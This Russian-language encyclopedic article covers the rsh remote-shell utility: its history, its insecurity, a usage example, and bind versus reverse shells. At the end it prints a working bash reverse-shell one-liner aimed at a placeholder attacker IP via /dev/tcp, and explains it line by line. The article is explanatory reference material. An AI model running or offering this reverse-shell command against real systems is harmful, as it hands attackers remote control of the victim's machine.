Введение

Программа командной строки

Удаленная оболочка (rsh) — это компьютерная программа, работающая в командной строке, которая позволяет выполнять команды оболочки от имени другого пользователя на другом компьютере в компьютерной сети. На удаленной системе, к которой подключается rsh, работает демон rsh (rshd). Этот демон обычно использует известный порт 513 протокола управления передачей (TCP).

История

Rsh возник как часть операционной системы BSD Unix вместе с rcp, входя в пакет rlogin в 4.2BSD в 1983 году. С тех пор rsh был портирован на другие операционные системы. Команда rsh имеет такое же имя, как и другая распространенная утилита UNIX – ограниченная оболочка, впервые появившаяся в PWB/UNIX; в System V Release 4 ограниченная оболочка часто располагается по адресу /usr/bin/rsh. Как и другие команды r от Berkeley, связанные с аутентификацией пользователей, протокол rsh небезопасен для использования в сети, поскольку он передает незашифрованные данные по сети и по другим причинам. Некоторые реализации также осуществляют аутентификацию путем отправки незашифрованных паролей по сети. Rsh в значительной степени заменен программой Secure Shell (ssh), даже в локальных сетях.

Пример

В качестве примера использования rsh, следующая команда выполняет `mkdir testdir` от имени пользователя remoteuser на компьютере host.example.com, работающем под управлением UNIX-подобной системы:

$ rsh remoteuser host.example.com "mkdir testdir"

После завершения команды rsh завершает работу. Если команда не указана, rsh выполнит вход в удаленную систему, используя rlogin. Сетевое расположение удаленного компьютера определяется с помощью системы доменных имен.

Привязка и обратная оболочка

Удаленная сессия оболочки может быть инициирована либо локальным устройством (которое отправляет команды), либо удаленным устройством (на котором команды выполняются). В первом случае удаленная оболочка называется bind shell, во втором – reverse shell. Reverse shell может использоваться, когда устройство, на котором необходимо выполнить команду, недоступно напрямую, например, для удаленного обслуживания компьютеров, расположенных за NAT, к которым нельзя получить доступ извне. Некоторые эксплойты создают reverse shell от скомпрометированного устройства обратно на машины, контролируемые злоумышленниками (это называется "reverse shell атакой"). Следующий код демонстрирует reverse shell атаку:

$ exec 5<>/dev/tcp/<IP-адрес атакующего>/80; cat <&5 | while read line; do $line 2>&5 >&5; done

Он открывает TCP-сокет на порту 80 по IP-адресу атакующего в качестве файлового дескриптора. Затем он многократно считывает строки из сокета и выполняет их, перенаправляя как стандартный вывод (stdout), так и стандартный поток ошибок (stderr) обратно в сокет. Другими словами, это предоставляет атакующему удаленную оболочку на целевой машине.